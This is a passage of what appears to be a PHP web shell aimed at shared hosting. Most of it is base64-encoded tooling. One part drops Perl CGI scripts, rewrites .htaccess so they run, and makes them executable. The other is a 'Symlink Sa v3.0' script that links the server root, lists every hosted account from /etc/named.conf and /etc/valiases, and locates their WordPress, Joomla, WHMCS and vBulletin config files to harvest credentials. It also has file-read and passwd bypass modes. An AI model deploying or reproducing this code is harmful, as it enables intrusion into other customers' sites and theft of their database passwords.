bnQgTVlGSUxFICJ0YXIgLWN6ZiAiLiRGT1JNe3Rhcn0uIi50YXIgIjsKZm9yICgka2E9MDska2E8 JHk7JGthKyspewp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsKJmxpbCgkMSk7 CnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOwpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsKcHJpbnQg TVlGSUxFICQxLiRrZC4iLnR4dCAiOwp9Cn0KIH0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxl MSIgYmdjb2xvcj0iIzAwMDAwMCI+CjxwPkRvbmUgISE8L3A+CjxwPiZuYnNwOzwvcD4nOwppZigk Rk9STXt0YXJ9IG5lICIiKXsKb3BlbihJTkZPLCAidGFyLnRtcCIpOwpAbGluZXMgPTxJTkZPPiA7 CmNsb3NlKElORk8pOwpzeXN0ZW0oQGxpbmVzKTsKcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0 YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+CjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29y YXRpb246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250 PjwvYT48L3A+JzsKfQp9CiBwcmludCIKPC9ib2R5Pgo8L2h0bWw+IjsK'; file_put_contents('ConfigWORDPRESS.Dm4r',base64_decode($ConfigWORDPRESS));; echo "Here ConfigWORDPRESS.Dmar
"; # chmod all tools perl x3 >> $htaccess = "AddHandler cgi-script .alajman\nAddHandler cgi-script .Lov3r\nAddHandler cgi-script .Shark\nAddHandler cgi-script .Dm4r"; file_put_contents('.htaccess',$htaccess); chmod('ConfigALL.alajman',0755); chmod('usr.Lov3r',0755); chmod('ConfigWHMCS.Shark',0755); chmod('ConfigWORDPRESS.Dm4r',0755); }elseif($_POST['tool']=='symlink'){ $symlink = 'symlink'; mkdir('symlink'); chdir('symlink'); $symlink1 = 'PD9waHAKCgovKgoKICAuZDg4ODguIGQ4ODg4OGIgIC5vODhiLiAgICAgICAgIGRiICAgZDhiICAg ZGIgICAgICAubzg4Yi4gIC5kODhiLiAgLjg4YiAgZDg4LgogIDg4JyAgWVAgODgnICAgICBkOFAg IFk4ICAgICAgICAgODggICBJOEkgICA4OCAgICAgZDhQICBZOCAuOFAgIFk4LiA4OCdZYmRQYDg4 CiAgYDhiby4gICA4OG9vb29vIDhQICAgICAgICAgICAgICA4OCAgIEk4SSAgIDg4ICAgICA4UCAg ICAgIDg4ICAgIDg4IDg4ICA4OCAgODgKICAgIGBZOGIuIDg4fn5+fn4gOGIgICAgICBDODg4OEQg IFk4ICAgSThJICAgODggICAgIDhiICAgICAgODggICAgODggODggIDg4ICA4OAogIGRiICAgOEQg ODguICAgICBZOGIgIGQ4ICAgICAgICAgYDhiIGQ4JzhiIGQ4JyBkYiAgWThiICBkOCBgOGIgIGQ4 JyA4OCAgODggIDg4CiAgYDg4ODhZJyBZODg4ODhQICBgWTg4UCcgICAgICAgICAgYDhiOCcgYDhk OCcgIFZQICAgYFk4OFAnICBgWTg4UCcgIFlQICBZUCAgWVAKCgogICBhdXRob3IuLi4uLi4uLi4u Li4uLjogczNuNHQwMHIKICAgaG9tZS4uLi4uLi4uLi4uLi4uLi46IHNlYy13LmNvbQogICB0d2l0 dGVyLi4uLi4uLi4uLi4uLjogQHMzbjR0MDByCiAgIG5hbWUgdG9vbHMuLi4uLi4uLi4uOiBTeW1s aW5rIFNhIHYzLjAKCiovCgoKCnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7 CgoKJHBhZ2VVUkwgPSAnaHR0cDovLycuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJb IlJFUVVFU1RfVVJJIl07CiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VVUkwgKTsKJHBhZ2VVUkwgPXN0 cl9yZXBsYWNlKCR1W2NvdW50KCR1KS0xXSwiIiwkcGFnZVVSTCApOwoKJHBhZ2VGVFAgPSAnZnRw Oi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nL3B1YmxpY19odG1sLycuJF9TRVJWRVJbIlJF UVVFU1RfVVJJIl07CiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VGVFAgKTsKJHBhZ2VGVFAgPXN0cl9y ZXBsYWNlKCR1W2NvdW50KCR1KS0xXSwiIiwkcGFnZUZUUCApOwoKPz4KICA8IURPQ1RZUEUgaHRt bCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgogICAgImh0dHA6Ly93 d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgoKPGh0bWwgeG1sbnM9 Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgoKPGhlYWQ+Cjx0aXRsZT5TeW1saW5rX1Nh IDMuMDwvdGl0bGU+Cgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoKICBodG1sLGJvZHkgewogICAg IG1hcmdpbjogMDsKICAgICBwYWRkaW5nOiAwOwogICAgIG91dGxpbmU6IDA7Cn0KYXsKCiBmb250 LXNpemU6IDEzcHg7Cgp9CgoKYm9keSB7CiAgICBkaXJlY3Rpb246IGx0cjsKICAgIGJhY2tncm91 bmQtY29sb3I6I0Y0RjRGNDsKCWNvbG9yOiByZ2IoMTUzLCAxNTMsIDE1Myk7CiAgICB0ZXh0LWFs aWduOiBjZW50ZXIKfQoKCgppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7CmZvbnQtd2VpZ2h0OiBib2xk Owpjb2xvcjogIzAwMDAwMDsKfQoKaW5wdXQsdGV4dGFyZWEsc2VsZWN0OmhvdmVyewpib3gtc2hh ZG93OiAwcHggMHB4IDRweCAjQUFBQUFBOwp9CgoKLmhlZHIgewogIGZvbnQtZmFtaWx5OiBUYWhv bWEsIEFyaWFsLCBzYW5zLXNlcmlmICA7CiAgZm9udC1zaXplOiAyMnB4OwoKCn0KCi5jb250IGF7 CgogdGV4dC1kZWNvcmF0aW9uOiBub25lOwogY29sb3I6cmdiKDE1MywgMTUzLCAxNTMpOwogZm9u dC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsKIGZvbnQtc2l6ZTogMTZweDsK IHRleHQtc2hhZG93OiAwcHggMHB4IDNweCA7Cn0KCi5jb250IGE6aG92ZXJ7CgoKICBjb2xvcjog I0VFRUVFRSA7CiAgdGV4dC1zaGFkb3c6MHB4IDBweCAzcHggIzAwMDAwMCA7CgoKfQoKLnRtcCB0 ciB0ZHsKCmJvcmRlcjogc29saWQgMXB4ICNCQkJCQkI7CgpwYWRkaW5nOiAycHggOwogIGZvbnQt c2l6ZTogMTNweDsKfQoKLnRtcCB0ciB0ZCBhIHsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7CgoK Cn0KCi5mb3RlcnsKICBmb250LXNpemU6IDlwdDsKICBjb2xvcjogI0FBQUFBQSA7CiAgdGV4dC1h bGlnbjogY2VudGVyCn0KCi50bXAgdHIgdGQ6aG92ZXJ7Cgpib3gtc2hhZG93OiAwcHggMHB4IDRw eCAjODg4ODg4OwoKfQouZm90ewoKZm9udC1mYW1pbHk6VGFob21hLCBBcmlhbCwgc2Fucy1zZXJp ZjsKCiAgZm9udC1zaXplOiAxMXB0Owp9Ci5mb3IgYSA6IGhvdmVyewoKdGV4dC1zaGFkb3c6IDBw eCAwcHggMXB4ICMzMzY2RkY7Cgp9CgoKLmlyIHsKICBjb2xvcjogI0ZGMDAwMDsKfQoKCgo8L3N0 eWxlPgoKPC9oZWFkPgoKPGJvZHk+Cgo8ZGl2IGNsYXNzPSdhbGwnPgoKCjw/cGhwCgpAbWtkaXIo J3N5bScsMDc3Nyk7CiRodGNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXgu aHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJz ZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5o dG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRmID1AZm9wZW4gKCdzeW0vLmh0 YWNjZXNzJywndycpOwpmd3JpdGUoJGYgLCAkaHRjcyk7CgoKCkBzeW1saW5rKCIvIiwic3ltL3Jv b3QiKTsKCiRwZyA9IGJhc2VuYW1lKF9fRklMRV9fKTsKCmVjaG8gJzxiciAvPjxkaXYgY2xhc3M9 ImhlZHIiPiBTeW1saW5rIFNhIDMuMCA8YnIgLz48L2Rpdj4nIDsKCmVjaG8gJzxiciAvPjxkaXYg Y2xhc3M9ImhlZHIiPi06WyBVc2VyICYgRG9tYWlucyAmIFN5bWxpbmsgXTotPGJyIC8+PGJyIC8+ PC9kaXY+JyA7CgplY2hvICc8ZGl2IGNsYXNzPSJjb250Ij4KCls8YSBocmVmPSI/Ij4gSG9tZSA8 L2E+XQoKWzxhIGhyZWY9Ij9zd3M9c3ltIj4gVXNlciAmIERvbWFpbnMgJiBTeW1saW5rIDwvYT5d CgpbPGEgaHJlZj0iP3N3cz1zZWMiPiBEb21haW5zICYgU2NyaXB0IDwvYT5dCgpbIDxhIGhyZWY9 Ij9zd3M9ZmlsZSI+IFN5bWxpbmsgRmlsZSA8L2E+XQoKWzxhIGhyZWY9Ij9zd3M9cGFzc3dkIj4g U3ltbGluayBCeXBhc3MgPC9hPl0KCjxiciAvPjxiciAvPgoKWyA8YSBocmVmPSI/c3dzPXJlYWQi PiBCeXBhc3MgUmVhZCA8L2E+XQoKWyA8YSBocmVmPSI/c3dzPWpvb21sYSI+IE1hc3MgSm9vbWxh IDwvYT5dCgpbIDxhIGhyZWY9Ij9zd3M9d3AiPiBNYXNzIFdvcmRQcmVzcyA8L2E+XQoKWyA8YSBo cmVmPSI/c3dzPXZiIj4gTWFzcyB2QnVsbGV0aW4gPC9hPl0KClsgPGEgaHJlZj0iP3N3cz1oZWxw Ij4gSGVscCA8L2E+XQoKPGJyIC8+PGJyIC8+PGJyIC8+CgoKCgoKCjwvZGl2Pic7CgppZihpc3Nl dCgkX1JFUVVFU1RbJ3N3cyddKSkKewoKc3dpdGNoICgkX1JFUVVFU1RbJ3N3cyddKQp7CgoKCgoK Ly8vIERvbWFpbnMgKyBTY3JpcHRzICAvLy8KCmNhc2UgJ3NlYyc6CgppZighQGlzX2ZpbGUoJ25h bWVkLnR4dCcpKXsKCiRkMDBtID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoKfWVsc2V7Cgok ZDAwbSA9IEBmaWxlKCJuYW1lZC50eHQiKTsKCgp9CmlmKCEkZDAwbSkKewoKICAgICAgICAgICAg ICAgIGRpZSAoIjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD0/c3dz PXJlYWQnLz4iKTsKfQplbHNlCgp7CmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+Cjx0YWJsZSBhbGln bj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IERvbWFpbnMgPC90ZD48dGQ+IFNjcmlwdCA8L3Rk PiI7CmZvcmVhY2goJGQwMG0gYXMgJGRvbSl7CgpmbHVzaCgpOwpmbHVzaCgpOwoKCgppZihlcmVn aSgiem9uZSIsJGRvbSkpewoKQHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGRvbSwg JGRvbXN3cyk7CgpmbHVzaCgpOwoKaWYoQHN0cmxlbih0cmltKCRkb21zd3NbMV1bMF0pKSA+IDIp ewoKJHVzZXIgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRk b21zd3NbMV1bMF0pKTsKCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgokd3BsPSRwYWdlVVJM LiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC93cC1jb25maWcu cGhwIjsKJHdwcD1AZ2V0X2hlYWRlcnMoJHdwbCk7CiR3cD0kd3BwWzBdOwoKJHdwMj0kcGFnZVVS TC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1j b25maWcucGhwIjsKJHdwcDI9QGdldF9oZWFkZXJzKCR3cDIpOwokd3AxMj0kd3BwMlswXTsKCi8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCiRqbzE9JHBhZ2VVUkwuIi9zeW0vcm9vdC9o b21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIjsKJGpv bz1AZ2V0X2hlYWRlcnMoJGpvMSk7CiRqbz0kam9vWzBdOwoKCiRqbzI9JHBhZ2VVUkwuIi9zeW0v cm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0 aW9uLnBocCI7CiRqb28yPUBnZXRfaGVhZGVycygkam8yKTsKJGpvMTI9JGpvbzJbMF07CgovLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKJHZiMT0kcGFnZVVSTC4iL3N5bS9yb290L2hv bWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCI7CiR2 YmI9QGdldF9oZWFkZXJzKCR2YjEpOwokdmI9JHZiYlswXTsKCiR2YjI9JHBhZ2VVUkwuIi9zeW0v cm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZp Zy5waHAiOwokdmJiMj1AZ2V0X2hlYWRlcnMoJHZiMik7CiR2YjEyPSR2YmIyWzBdOwoKJHZiMz0k cGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvZm9y dW0vaW5jbHVkZXMvY29uZmlnLnBocCI7CiR2YmIzPUBnZXRfaGVhZGVycygkdmIzKTsKJHZiMTM9 JHZiYjNbMF07CgovLy8vLy8vLy8vLy8vLy8vLwoKJHdoMT0kcGFnZVVSTC4iL3N5bS9yb290L2hv bWUvIi4kdXNlclsnbmFtZSddLiJwdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhw IjsKJHdoaDI9IEBnZXRfaGVhZGVycygkd2gxKTsKJHdoPSR3aGgyWzBdOwoKJHdoMj0kcGFnZVVS TC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvc3VwcG9ydC9j b25maWd1cmF0aW9uLnBocCI7CiR3aGgyPSBAZ2V0X2hlYWRlcnMoJHdoMik7CiR3aDEyPSR3aGgy WzBdOwoKJHdoMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVi bGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwIjsKJHdoaDM9IEBnZXRfaGVhZGVycygk d2gzKTsKJHdoMTM9JHdoaDNbMF07Cgokd2g1PSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1 c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwIjsKJHdoaDU9IEBnZXRf aGVhZGVycygkd2g1KTsKJHdoMTU9JHdoaDVbMF07Cgokd2g0PSRwYWdlVVJMLiIvc3ltL3Jvb3Qv aG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5w aHAiOwokd2hoND0gQGdldF9oZWFkZXJzKCR3aDQpOwokd2gxND0kd2hoNFswXTsKCgoKLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8KCiAvLy8vLy8vLy8vIFdvcmRwcmVzcyAvLy8vLy8vLy8vLy8KCiRw b3MgPSBzdHJwb3MoJHdwLCAiMjAwIik7CiRjb25maWc9IiZuYnNwOyI7CgppZiAoc3RycG9zKCR3 cCwgIjIwMCIpID09IHRydWUgKQp7CiAkY29uZmlnPSI8YSBocmVmPSciLiR3cGwuIicgdGFyZ2V0 PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOwp9CmVsc2VpZiAoc3RycG9zKCR3cDEyLCAiMjAwIikg PT0gdHJ1ZSkKewogICRjb25maWc9IjxhIGhyZWY9JyIuJHdwMi4iJyB0YXJnZXQ9J19ibGFuayc+ V29yZHByZXNzPC9hPiI7Cn0KCi8vLy8vLy8vLy8vV0hNQ1MvLy8vLy8vLwoKZWxzZWlmIChzdHJw b3MoJGpvLCAiMjAwIikgID09IHRydWUgYW5kIHN0cnBvcygkd2gxNSwgIjIwMCIpICA9PSB0cnVl ICkKewogICRjb25maWc9IiA8YSBocmVmPSciLiR3aDUuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNT PC9hPiI7Cgp9CmVsc2VpZiAoc3RycG9zKCR3aDEyLCAiMjAwIikgID09IHRydWUpCnsKICAkY29u ZmlnID0iIDxhIGhyZWY9JyIuJHdoMi4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsKfQoK ZWxzZWlmIChzdHJwb3MoJHdoMTMsICIyMDAiKSAgPT0gdHJ1ZSkKewogICRjb25maWcgPSIgPGEg aHJlZj0nIi4kd2gzLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOwoKfQoKLy8vLy8vLy8v IEpvb21sYSB0byA0IC8vLy8vLy8vLy8vCgplbHNlaWYgKHN0cnBvcygkam8sICIyMDAiKSAgPT0g dHJ1ZSkKewogICRjb25maWc9IiA8YSBocmVmPSciLiRqbzEuIicgdGFyZ2V0PSdfYmxhbmsnPkpv b21sYTwvYT4iOwp9CgplbHNlaWYgKHN0cnBvcygkam8xMiwgIjIwMCIpICA9PSB0cnVlKQp7CiAg JGNvbmZpZz0iIDxhIGhyZWY9JyIuJGpvMi4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7 Cn0KCi8vLy8vLy8vLy92QnVsbGV0aW4gdG8gNCAvLy8vLy8vLy8vLwoKZWxzZWlmIChzdHJwb3Mo JHZiLCAiMjAwIikgID09IHRydWUpCnsKICAkY29uZmlnPSIgPGEgaHJlZj0nIi4kdmIxLiInIHRh cmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsKfQoKZWxzZWlmIChzdHJwb3MoJHZiMTIsICIy MDAiKSAgPT0gdHJ1ZSkKewogICRjb25maWc9IiA8YSBocmVmPSciLiR2YjIuIicgdGFyZ2V0PSdf YmxhbmsnPnZCdWxsZXRpbjwvYT4iOwp9CgplbHNlaWYgKHN0cnBvcygkdmIxMywgIjIwMCIpICA9 PSB0cnVlKQp7CiAgJGNvbmZpZz0iIDxhIGhyZWY9JyIuJHZiMy4iJyB0YXJnZXQ9J19ibGFuayc+ dkJ1bGxldGluPC9hPiI7Cn0KCmVsc2UKewogY29udGludWU7Cn0KZmx1c2goKTsKZmx1c2goKTsK Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCgoKJHNpdGUgPSAkdXNlclsnbmFtZSddIDsK CgoKZmx1c2goKTsKCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sx XVswXS4iLz4iLiRkb21zd3NbMV1bMF0uIjwvYT48L3RkPgo8dGQ+Ii4kY29uZmlnLiI8L3RkPjwv dHI+IjsgZmx1c2goKTsKCn0KfQp9Cn0KCgoKCmJyZWFrOwoKCi8vLyB1c2VyICsgZG9taW5lICsg c3ltbGluayAgLy8vCgpjYXNlICdzeW0nOgoKaWYoIWlzX2ZpbGUoJ25hbWVkLnR4dCcpKXsKCiRk MDBtID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoKfWVsc2V7CgokZDAwbSA9IEBmaWxlKCJu YW1lZC50eHQiKTsKCgp9CmlmKCEkZDAwbSkKewoKICAgICAgICAgICAgICAgIGRpZSAoIjxtZXRh IGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD0/c3dzPXJlYWQnLz4iKTsKfQpl bHNlCgp7CmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+PHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRo PSc0MCUnPjx0ZD5Eb21haW5zPC90ZD48dGQ+VXNlcnM8L3RkPjx0ZD5zeW1saW5rIDwvdGQ+IjsK Zm9yZWFjaCgkZDAwbSBhcyAkZG9tKXsKCmlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7CgpwcmVnX21h dGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOwoKZmx1c2goKTsKCmlmKHN0 cmxlbih0cmltKCRkb21zd3NbMV1bMF0pKSA+IDIpewoKJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChA ZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbXN3c1sxXVswXSkpOwoKZmx1c2goKTsKCgoK JHNpdGUgPSAkdXNlclsnbmFtZSddIDsKCgpAc3ltbGluaygiLyIsInN5bS9yb290Iik7Cgokc2l0 ZSA9ICRkb21zd3NbMV1bMF07CgokaXIgPSAnaXInOwoKJGlsID0gJ2lsJzsKCmlmIChwcmVnX21h dGNoKCIvLl4kaXIvIiwkZG9tc3dzWzFdWzBdKSBvciBwcmVnX21hdGNoKCIvLl4kaWwvIiwkZG9t c3dzWzFdWzBdKSApCnsKJHNpdGUgPSAiPGRpdiBzdHlsZT0nIGNvbG9yOiAjRkYwMDAwIDsgdGV4 dC1zaGFkb3c6IDBweCAwcHggMXB4IHJlZDsgJz4iLiRkb21zd3NbMV1bMF0uIjwvZGl2PiI7Cn0K CgplY2hvICIKPHRyPgoKPHRkPgo8ZGl2IGNsYXNzPSdkb20nPjxhIHRhcmdldD0nX2JsYW5rJyBo cmVmPWh0dHA6Ly93d3cuIi4kZG9tc3dzWzFdWzBdLiIvPiIuJHNpdGUuIiA8L2E+IDwvZGl2Pgo8 L3RkPgoKCjx0ZD4KIi4kdXNlclsnbmFtZSddLiIKPC90ZD4KCgoKCgoKPHRkPgo8YSBocmVmPSdz eW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFu ayc+c3ltbGluayA8L2E+CjwvdGQ+CgoKPC90cj48L2Rpdj4gIjsKCgpmbHVzaCgpOwpmbHVzaCgp OwoKfQp9Cn0KfQoKCgoKYnJlYWs7CgoKLy8vIGZpbGUgIHN5bWxpbmsgLy8vCgpjYXNlICdmaWxl JzoKCmVjaG8nClRoZSBmaWxlIHBhdGggdG8gc3ltbGluawoKPGJyIC8+PGJyIC8+Cjxmb3JtIG1l dGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiB2YWx1ZT0iL2hvbWUv dXNlci9wdWJsaWNfaHRtbC9maWxlLm5hbWUiIHNpemU9IjYwIi8+PGJyIC8+PGJyIC8+CjxpbnB1 dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiB2YWx1ZT0iZmlsZS5uYW1lX3N5bSAoIEV4LiA6 OiByb3lhbGlzdGUudHh0ICkiIHNpemU9IjYwIi8+PGJyIC8+PGJyIC8+CjxpbnB1dCB0eXBlPSJz dWJtaXQiIHZhbHVlPSJzeW1saW5rIiBuYW1lPSJzeW1saW5rIiAvPiA8YnIgLz48YnIgLz4KCgoK PC9mb3JtPgonOwoKJHBmaWxlID0gJF9QT1NUWydmaWxlJ107CiRzeW1maWxlID0gJF9QT1NUWydz eW1maWxlJ107CiRzeW1saW5rID0gJF9QT1NUWydzeW1saW5rJ107CgppZiAoJHN5bWxpbmspCnsK CgpAbWtkaXIoJ3N5bTEnLDA3NzcpOwokYyAgPSAiT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxp bmtzIFxuIERpcmVjdG9yeUluZGV4IHNzc3Nzcy5odG0gXG4gQWRkVHlwZSB0eHQgLnBocCBcbiBB ZGRIYW5kbGVyIHR4dCAucGhwIFxuICBBZGRUeXBlIHR4dCAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4 dCAuaHRtbCBcbiBPcHRpb25zIGFsbCBcbiBPcHRpb25zIFxuIEFsbG93IGZyb20gYWxsIFxuIFJl cXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRmID1AZm9wZW4gKCdzeW0xLy5odGFjY2Vzcycs J3cnKTsKQGZ3cml0ZSgkZiAsICRjKTsKCkBzeW1saW5rKCIkcGZpbGUiLCJzeW0xLyRzeW1maWxl Iik7CgplY2hvICc8YnIgLz48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0ic3ltMS8nLiRzeW1maWxl LiciID4nLiRzeW1maWxlLic8L2E+JzsKCn0KCgoKYnJlYWs7CgovLy8gYnlwYXNzIHJlYWQKCmNh c2UgJ3JlYWQnOgoKZWNobyAicmVhZCAvZXRjL25hbWVkLmNvbmYiOwplY2hvICI8YnIgLz48YnIg Lz48Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP3N3cz1yZWFkJnNhdmU9MSc+PHRleHRhcmVh IGNvbHM9JzgwJyByb3dzPScyMCcgbmFtZT0nZmlsZSc+IjsKZmx1c2goKTsKZmx1c2goKTsKCgok ZmlsZSA9ICcvZXRjL25hbWVkLmNvbmYnOwoKCiRyM2FkID0gQGZvcGVuKCRmaWxlLCAncicpOwpp ZiAoJHIzYWQpewokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7CmVj aG8gIiIuaHRtbGVudGl0aWVzKCRjb250ZW50KS4iIjsKfQplbHNlIGlmICghJHIzYWQpCnsKJHIz YWQgPSBAc2hvd19zb3VyY2UoJGZpbGUpIDsKfQplbHNlIGlmICghJHIzYWQpCnsKJHIzYWQgPSBA aGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOwp9CmVsc2UgaWYgKCEkcjNhZCkKewokc20gPSBAc3ltbGlu aygkZmlsZSwnc3ltLnR4dCcpOwoKCmlmICgkc20pewokcjNhZCA9IEBmb3Blbignc3ltL3N5bS50 eHQnLCAncicpOwokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7CmVj aG8gIiIuaHRtbGVudGl0aWVzKCRjb250ZW50KS4iIjsKCn0KfQoKCgplY2hvICI8L3RleHRhcmVh PjxiciAvPjxiciAvPjxpbnB1dCAgdHlwZT0nc3VibWl0JyB2YWx1ZT0nU2F2ZScvPiA8L2Zvcm0+ IjsKCgppZihpc3NldCgkX0dFVFsnc2F2ZSddKSl7CgoKJGNvbnQgPSBzdHJpcGNzbGFzaGVzKCRf UE9TVFsnZmlsZSddKTsKCiRmID0gZm9wZW4oJ25hbWVkLnR4dCcsJ3cnKTsKCiR3ID0gZndyaXRl KCRmLCRjb250KTsKCiAgICAgICAgICAgICAgICAgIGlmKCR3KXsKCiAgICAgICAgICAgICAgICAg IGVjaG8gJzxiciAvPnNhdmUgaGFzIGJlZW4gc3VjY2Vzc2Z1bGx5JzsKCiAgICAgICAgICAgICAg ICAgIH0KCmZjbG9zZSgkZik7CgoKCgp9CgoKCmJyZWFrOwoKLy8gcGFzc3dkCgpjYXNlICdwYXNz d2QnOgoKaWYoaXNzZXQoJF9HRVRbJ3NhdmUnXSkgYW5kIGlzc2V0KCRfUE9TVFsnZmlsZSddKSBv ciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApewoKCiRjb250ID0gc3RyaXBjc2xhc2hlcygk X1BPU1RbJ2ZpbGUnXSk7CgppZighZmlsZV9leGlzdHMoJ3Bhc3N3ZC50eHQnKSl7CgokZiA9IEBm b3BlbigncGFzc3dkLnR4dCcsJ3cnKTsKCiR3ID0gQGZ3cml0ZSgkZiwkY29udCk7CgpmY2xvc2Uo JGYpOwp9CmlmKCR3IG9yIEBmaWxlc2l6ZSgncGFzc3dkLnR4dCcpID4gMCl7Ci8vICogU0hPVyAq IC8vCgplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0n MzUlJz48dGQ+VXNlcnM8L3RkPjx0ZD5zeW1saW5rPC90ZD48dGQ+RlRQPC90ZD4iOwpmbHVzaCgp OwoKJGZpbDMgPSBmaWxlKCdwYXNzd2QudHh0Jyk7Cgpmb3JlYWNoICgkZmlsMyBhcyAkZil7Cgog ICAgICR1PWV4cGxvZGUoJzonLCAkZik7CiAgICAgJHVzZXIgPSAkdVsnMCddOwoKCgplY2hvICIK 